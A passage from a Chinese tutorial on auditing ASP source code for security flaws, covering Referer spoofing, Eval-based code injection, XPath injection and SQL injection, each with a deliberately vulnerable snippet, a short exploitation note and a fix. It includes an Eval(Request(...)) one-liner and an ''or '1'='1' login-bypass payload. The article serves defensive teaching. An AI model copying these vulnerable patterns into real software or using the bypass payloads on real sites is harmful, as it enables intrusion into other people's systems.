上述代碼中2個(gè)判斷的值均來自客戶端環(huán)境變量,判斷思路是目標(biāo)地址和來源地址的域名是否一致,不一致則認(rèn)為是非法訪問,這段代碼常用于防盜鏈模塊中。

漏洞利用:用法HTTP代理軟件構(gòu)造一個(gè)特定的數(shù)據(jù)包,在HTTP頭加上Referer 。如下圖所示

Web源碼安全審計(jì)之ASP篇

漏洞修復(fù):驗(yàn)證數(shù)據(jù)來源的真實(shí)性還是應(yīng)該放在服務(wù)端,Request變量獲取的值都是不可靠的。#p#

十一.代碼注入(Code Injection)

概述:許多現(xiàn)代編程語言都允許動(dòng)態(tài)解析源代碼指令。 如果程序員需要由用戶提供的指令對(duì)數(shù)據(jù)操作,這種情況下可以應(yīng)用這種功能。當(dāng)然,我們更愿意利用底層語言構(gòu)造,而不是通過執(zhí)行代碼來解析用戶輸入。 由用戶提供的指令預(yù)期執(zhí)行一些無害的操作,例如,對(duì)當(dāng)前的用戶對(duì)象進(jìn)行簡(jiǎn)單計(jì)算或修改用戶對(duì)象的狀態(tài),等等。然而,如果程序員不夠細(xì)心,用戶指定的操作范圍可能會(huì)超出程序員最初的設(shè)想。

漏洞原理:ASP應(yīng)用程序中若存在Eval ,Execute ,ExecuteGlobal 函數(shù)使用時(shí),要格外注意它們的使用環(huán)境,若從外部獲取參數(shù),沒有經(jīng)過安全處理 就會(huì)造成安全隱患。Eval() 計(jì)算表達(dá)式的值,并且返回一個(gè)結(jié)果,Execute() 執(zhí)行一個(gè)或多個(gè)指定的語句。多個(gè)語句間用冒號(hào)(:)隔開 ,ExecuteGlobal() 在全局名字空間中執(zhí)行一個(gè)或多個(gè)指定的語句。

漏洞代碼:

<%=Eval(Request("parma"))%>

上述代碼用戶提交parma的方法有GET,POST,COOKIE三種,攻擊者可以精心構(gòu)造出ASP的小馬提交就可以執(zhí)行,安全隱患相當(dāng)大,在源碼審計(jì)的過程中要額外注意它們的使用。

漏洞利用:

Web源碼安全審計(jì)之ASP篇

若攻擊者給parma參數(shù)值等于VB里的Now()函數(shù),就會(huì)把當(dāng)前的時(shí)間輸出出來,這里代碼用Eval函數(shù)執(zhí)行的,若是Execute 和 ExecuteGlobal函數(shù)則不會(huì)輸出到網(wǎng)頁中。

漏洞修復(fù):謹(jǐn)慎使用此三個(gè)函數(shù),若需要?jiǎng)討B(tài)執(zhí)行,則只讓用戶輸入和本地文件中匹配的字符,若不匹配則不可以執(zhí)行。

十二.XML中的XPATH注入(Xpath Injection)

概述:Xml文檔存儲(chǔ)數(shù)據(jù)時(shí),若查詢數(shù)據(jù)不經(jīng)過安全過濾也會(huì)和關(guān)系型數(shù)據(jù)庫一樣,產(chǎn)生注入漏洞,在這里我們總結(jié)成XPATH注入漏洞,在這里它更像是ACCESS數(shù)據(jù)庫。

漏洞原理: 如同Access數(shù)據(jù)庫一樣,XML文檔只是保存數(shù)據(jù)用的,若程序?qū)τ脩籼峤坏臄?shù)據(jù)沒有經(jīng)過安全處理,則會(huì)導(dǎo)致安全問題,在這里最常見的莫過于經(jīng)典的萬能密碼。

漏洞代碼:

  1. <% 
  2. function SelectXmlNodeText(elementname,elementpass) 
  3.     On Error Resume Next 
  4.     elementname="//"&"root/row[name='"&elementname&"' and password='"&elementpass&"']" 
  5.     temp =  XMLMorntekDocument.selectSingleNode(elementname).text 
  6.     If temp <> "" Then 
  7.         Session("UserName") = "asp163" 
  8.         Response.Write("Welcome , Sysadmin"
  9.     Else 
  10.         Response.Redirect("/admin/Login.asp"
  11.     end if 
  12. end function  
  13. ConnectXml("../admin.xml"
  14. Call SelectXmlNodeText(Request("name"),Request("pass")) 
  15. %> 

上述代碼實(shí)現(xiàn)的是一個(gè)后臺(tái)管理驗(yàn)證的功能,admin.xml文件位于站點(diǎn)根目錄之外,無法用Http方式下載。程序?qū)equest對(duì)象獲取來的數(shù)據(jù)沒有經(jīng)過安全過濾,導(dǎo)致了經(jīng)典萬能密碼繞過漏洞。

漏洞利用:

Web源碼安全審計(jì)之ASP篇

攻擊者提交Name和Pass都是“’or ’1′=’1”時(shí)候,XML查詢節(jié)點(diǎn)就變成 “//root/row[name=''or '1'='1' and password=''or '1'='1']” OR語句 發(fā)揮了重大作用,只要一個(gè)條件為真就可以滿足繞過的條件。

漏洞修復(fù):和SQL注射一樣,需要對(duì)客戶端提交過來的數(shù)據(jù)進(jìn)行過濾,在本案例中可以過濾掉單引號(hào)即可。#p#

十三.SQL注射(SQL Injection)

概述:目前沒有對(duì)SQL注入技術(shù)的標(biāo)準(zhǔn)定義,微軟中國技術(shù)中心從2個(gè)方面進(jìn)行了描述:

(1) 腳本注入式的攻擊

(2) 惡意用戶輸入用來影響被執(zhí)行的SQL腳本

SQL注入攻擊利用的是SQL語法,這使得這種攻擊具有廣泛性。理論上說,對(duì)于所有基于SQL語言標(biāo)準(zhǔn)的數(shù)據(jù)庫軟件包括SQL Server,Oracle,MySQL, ACCESS,DB2,Informix等以及與之連接的網(wǎng)絡(luò)應(yīng)用程序包括Active/Java Server Pages, PHP或Perl等都是有效的。當(dāng)然各種軟件有自身的特點(diǎn),實(shí)際的攻擊代碼可能不盡相同。

漏洞原理: 通過客戶端發(fā)送SQL語句,可以查詢,更新,刪除 數(shù)據(jù)庫中的數(shù)據(jù),此漏洞是ASP下最為流行的漏洞。攻擊者可以通過GET,POST,COOKIE,SERVER提交任意數(shù)據(jù),若數(shù)據(jù)庫是SQL Server數(shù)據(jù)庫,則漏洞危害性更大。

漏洞代碼:

  1. <% 
  2. Set rs = Server.CreateObject("ADODB.RecordSet"
  3. sqlString="SELECT * FROM News WHERE Id=" & Request.QueryString("id"
  4. rs.Open sqlString, Conn, 1, 1 
  5. %> 

漏洞利用:

Web源碼安全審計(jì)之ASP篇

漏洞修復(fù):對(duì)獲取的數(shù)字型變量用Clng函數(shù)轉(zhuǎn)換,對(duì)于字符型用Replace函數(shù)過濾單引號(hào)。

0×03 總結(jié):

ASP經(jīng)過這么多年還能屹立不倒,除了本身易學(xué)易用性之外,還有搭配的ACCESS數(shù)據(jù)庫方便移植的特性,讓很多程序員在選擇為中小網(wǎng)站做開發(fā)的時(shí)候首選ASP。掌握這些ASP漏洞對(duì)于開發(fā)者來說是相當(dāng)有必要的,只有這樣才能寫出更強(qiáng)大安全的應(yīng)用程序,才能促進(jìn)整個(gè)互聯(lián)網(wǎng)的安全與開放。

責(zé)任編輯:藍(lán)雨淚 來源: bugsec
相關(guān)推薦

2009-08-17 14:47:31

2009-08-17 16:00:14

2009-08-26 10:49:54

2011-06-20 10:19:29

2010-01-11 21:19:57

2009-07-29 17:19:14

2019-05-31 12:13:49

MySQL數(shù)據(jù)庫安全

2016-10-10 13:51:42

2009-09-15 23:40:52

2009-08-13 15:49:18

ASP.NET性能優(yōu)化

2009-07-29 11:25:40

2009-08-13 16:22:18

ASP.NET性能優(yōu)化

2011-04-18 10:16:30

WEB高性能

2023-07-11 00:20:36

2023-07-05 00:38:21

2023-07-04 06:59:25

2009-08-07 17:41:07

ASP.NET Web

2012-09-25 09:31:58

ASP.NETC#Web

2012-04-25 14:11:00

Hillstone安全審計(jì)

2019-05-21 14:33:01

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)